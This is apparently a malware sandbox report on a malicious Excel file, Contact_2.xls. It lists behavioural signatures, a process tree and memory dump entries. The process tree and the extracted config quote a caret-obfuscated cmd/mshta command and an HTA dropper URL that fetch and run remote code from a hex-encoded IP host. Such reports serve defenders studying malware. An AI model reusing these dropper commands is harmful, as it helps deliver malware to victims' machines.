Overview

overview

10

Static

static

8

Contact_2.xls

windows7_x64

10

Contact_2.xls

windows10_x64

10

Analysis

  • max time kernel
    162s
  • max time network
    158s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    22/01/2022, 18:04

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General

  • Target
    Contact_2.xls
  • Size 108KB
  • Sample220122-wnlfcscdg5
  • SHA256 cbbeb47f7b0343ffabb173ed0dbb38ae17477129c5dce9bf866814a4f42e3389
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fe4.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Contact_2.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1956
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e4.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3584
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe4.html
        3⤵
        • Blocklisted process makes network request
        PID:3616
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 3616 -s 1640
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1164

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1956-118-0x00007FFF65860000-0x00007FFF65870000-memory.dmp
        Download

        memory/1956-119-0x00007FFF65860000-0x00007FFF65870000-memory.dmp
        Download

        memory/1956-120-0x00007FFF65860000-0x00007FFF65870000-memory.dmp
        Download

        memory/1956-121-0x00007FFF65860000-0x00007FFF65870000-memory.dmp
        Download

        memory/1956-122-0x00007FFF65860000-0x00007FFF65870000-memory.dmp
        Download

        memory/1956-131-0x00007FFF61D50000-0x00007FFF61D60000-memory.dmp
        Download

        memory/1956-132-0x00007FFF61D50000-0x00007FFF61D60000-memory.dmp
        Download